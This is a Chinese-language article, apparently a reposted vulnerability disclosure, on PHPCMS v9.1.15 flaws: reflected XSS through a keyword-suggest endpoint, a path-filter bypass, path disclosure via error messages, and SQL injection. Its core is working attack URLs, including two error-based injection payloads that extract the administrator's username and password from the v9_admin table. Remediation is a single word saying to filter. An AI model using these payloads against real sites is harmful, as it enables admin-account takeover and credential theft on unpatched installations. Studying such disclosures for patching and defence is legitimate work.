当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

phpcms v9.1.15 20120606 多处sql及XSS缺陷及修复

时间:2015/5/19 19:01:20 作者:平凡之路 来源:xuhantao.com 浏览:

PhpcmsV9最新版SQL注射+XSS

XSS
public function public_get_suggest_keyword() {
              $url = $_GET['url'].'&q='.$_GET['q'];
              echo $url;
             
              $res = @file_get_contents($url);
              if(CHARSET != 'gbk') {
                     $res = iconv('gbk', CHARSET, $res);
              }
              echo $res;
       }
 
利用方法:
?m=search&a=public_get_suggest_keyword&url=http://localhost/&q=1
 
新建一个名为&q=1的文件 写入<script>alert(/Zvall/)</script>
 
黑名单过滤:这里只说过滤方式. 这里并没有权限访问
if(!$this->admin_username) return false;
              if($_GET['args']) extract(getswfinit($_GET['args']));
              $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\','..'), '', trim($_GET['dir'])) : '';
              $filepath = $this->upload_path.$dir;
              $list = glob($filepath.'/'.'*');
              if(!empty($list)) rsort($list);
              $local = str_replace(array(PC_PATH, PHPCMS_PATH ,DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR), array('','',DIRECTORY_SEPARATOR), $filepath);
              $url = ($dir == '.' || $dir=='') ? $this->upload_url : $this->upload_url.str_replace('.', '', $dir).'/';
              $show_header = true;
              include $this->admin_tpl('album_dir');
 
?m=attachment&a=album_dir&dir=.\.\ 用黑名单过滤始终是不可取的
 
路径泄露
if (empty($filename)) $filename = ROUTE_C; 
              if (empty($m)) $m = ROUTE_M;
              $filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
              if (file_exists($filepath)) {
                     $classname = $filename;
                     include $filepath;
                     if ($mypath = pc_base::my_path($filepath)) {
                            $classname = 'MY_'.$filename;
                            include $mypath;
                     }
                     return new $classname;
 
没进行容错处理提交:
?m=../model&c=member_group_model.class
 
由于member_group_model.class 类不存在 会报错
 
Fatal error: Class 'member_group_model.class' not found in /workspace/wwwroot/v9.demo.phpcms.cn/phpcms/libs/classes/application.class.php on
 
?m=../../
 
Fatal error: Cannot redeclare timeinterval() (previously declared in /workspace/wwwroot/v9.demo.phpcms.cn/phpcms/libs/functions/autoload/info.func.php:15) in /workspace/wwwroot/v9.demo.phpcms.cn/phpcms/libs/functions/autoload/info.func.php on line 27

XSS:
 
 





 
SQL注入:
 
 
 
 
?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.username+as+char))),0x27,0x7e)+from+`phpcmsv9`.v9_admin+Order+by+userid+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+'1'%3D'1
 


 
 
?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.password+as+char))),0x27,0x7e)+from+`phpcmsv9`.v9_admin+Order+by+userid+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+'1'%3D'1
 
 


 
 
修复方案:
过滤啊

:官方已经修复,请站长及时补丁

作者:Zvall ,涛涛电脑知识网,涛涛电脑知识网

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1